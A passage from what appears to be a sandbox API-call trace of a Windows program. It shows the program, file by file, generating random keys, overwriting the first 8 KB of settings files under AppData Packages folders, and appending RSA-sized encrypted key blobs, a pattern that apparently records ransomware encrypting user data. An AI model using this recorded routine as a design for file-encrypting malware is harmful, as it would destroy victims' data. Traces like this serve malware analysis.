nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.621] CloseHandle (hObject=0x10e0) returned 1 [0160.623] WriteFile (in: hFile=0x10ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.624] CloseHandle (hObject=0x10ec) returned 1 [0160.626] WriteFile (in: hFile=0x10ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.627] CloseHandle (hObject=0x10ec) returned 1 [0160.628] WriteFile (in: hFile=0x10ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.629] CloseHandle (hObject=0x10ec) returned 1 [0160.629] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0160.630] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.630] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.630] ReadFile (in: hFile=0x1100, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.665] SetFilePointer (in: hFile=0x1100, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.665] WriteFile (in: hFile=0x1100, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.666] SetFilePointer (in: hFile=0x1100, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.666] WriteFile (in: hFile=0x1100, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.667] WriteFile (in: hFile=0x1100, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.667] CloseHandle (hObject=0x1100) returned 1 [0160.671] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0160.671] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.671] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.672] ReadFile (in: hFile=0x1100, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.672] SetFilePointer (in: hFile=0x1100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.672] WriteFile (in: hFile=0x1100, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.672] SetFilePointer (in: hFile=0x1100, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.672] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.672] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.673] WriteFile (in: hFile=0x1100, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.677] WriteFile (in: hFile=0x1100, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.677] CloseHandle (hObject=0x1100) returned 1 [0160.681] WriteFile (in: hFile=0x110c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.682] CloseHandle (hObject=0x110c) returned 1 [0160.683] WriteFile (in: hFile=0x110c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.684] CloseHandle (hObject=0x110c) returned 1 [0160.685] WriteFile (in: hFile=0x110c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.687] CloseHandle (hObject=0x110c) returned 1 [0160.687] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0160.687] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.687] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.687] ReadFile (in: hFile=0x1120, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.701] SetFilePointer (in: hFile=0x1120, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.701] WriteFile (in: hFile=0x1120, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.702] SetFilePointer (in: hFile=0x1120, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.702] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.702] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.702] WriteFile (in: hFile=0x1120, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.703] WriteFile (in: hFile=0x1120, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.703] CloseHandle (hObject=0x1120) returned 1 [0160.711] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0160.711] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.711] ReadFile (in: hFile=0x1120, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.711] SetFilePointer (in: hFile=0x1120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.711] WriteFile (in: hFile=0x1120, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.711] SetFilePointer (in: hFile=0x1120, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.712] WriteFile (in: hFile=0x1120, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.713] WriteFile (in: hFile=0x1120, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.713] CloseHandle (hObject=0x1120) returned 1 [0160.715] WriteFile (in: hFile=0x112c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.716] CloseHandle (hObject=0x112c) returned 1 [0160.717] WriteFile (in: hFile=0x112c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.718] CloseHandle (hObject=0x112c) returned 1 [0160.718] WriteFile (in: hFile=0x112c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.719] CloseHandle (hObject=0x112c) returned 1 [0160.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0160.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.719] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.720] ReadFile (in: hFile=0x1140, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.744] SetFilePointer (in: hFile=0x1140, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.744] WriteFile (in: hFile=0x1140, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.745] SetFilePointer (in: hFile=0x1140, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.745] WriteFile (in: hFile=0x1140, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.746] WriteFile (in: hFile=0x1140, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.746] CloseHandle (hObject=0x1140) returned 1 [0160.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0160.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.752] ReadFile (in: hFile=0x1140, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.753] SetFilePointer (in: hFile=0x1140, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.753] WriteFile (in: hFile=0x1140, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.753] SetFilePointer (in: hFile=0x1140, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.753] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.753] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.753] WriteFile (in: hFile=0x1140, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.754] WriteFile (in: hFile=0x1140, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.755] CloseHandle (hObject=0x1140) returned 1 [0160.757] WriteFile (in: hFile=0x114c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.758] CloseHandle (hObject=0x114c) returned 1 [0160.760] WriteFile (in: hFile=0x114c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.761] CloseHandle (hObject=0x114c) returned 1 [0160.761] WriteFile (in: hFile=0x114c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.762] CloseHandle (hObject=0x114c) returned 1 [0160.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0160.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0160.763] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0160.766] ReadFile (in: hFile=0x1160, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.766] SetFilePointer (in: hFile=0x1160, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.766] WriteFile (in: hFile=0x1160, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.766] SetFilePointer (in: hFile=0x1160, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.766] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.766] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.767] WriteFile (in: hFile=0x1160, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.768] WriteFile (in: hFile=0x1160, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.768] CloseHandle (hObject=0x1160) returned 1 [0160.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0160.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.770] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0160.770] ReadFile (in: hFile=0x1160, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.778] SetFilePointer (in: hFile=0x1160, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.778] WriteFile (in: hFile=0x1160, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.778] SetFilePointer (in: hFile=0x1160, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.778] WriteFile (in: hFile=0x1160, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.779] WriteFile (in: hFile=0x1160, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.779] CloseHandle (hObject=0x1160) returned 1 [0160.781] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0160.781] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.781] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.782] ReadFile (in: hFile=0x1160, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.794] SetFilePointer (in: hFile=0x1160, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.794] WriteFile (in: hFile=0x1160, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.794] SetFilePointer (in: hFile=0x1160, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.794] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.795] WriteFile (in: hFile=0x1160, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.795] WriteFile (in: hFile=0x1160, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.795] CloseHandle (hObject=0x1160) returned 1 [0160.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0160.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | 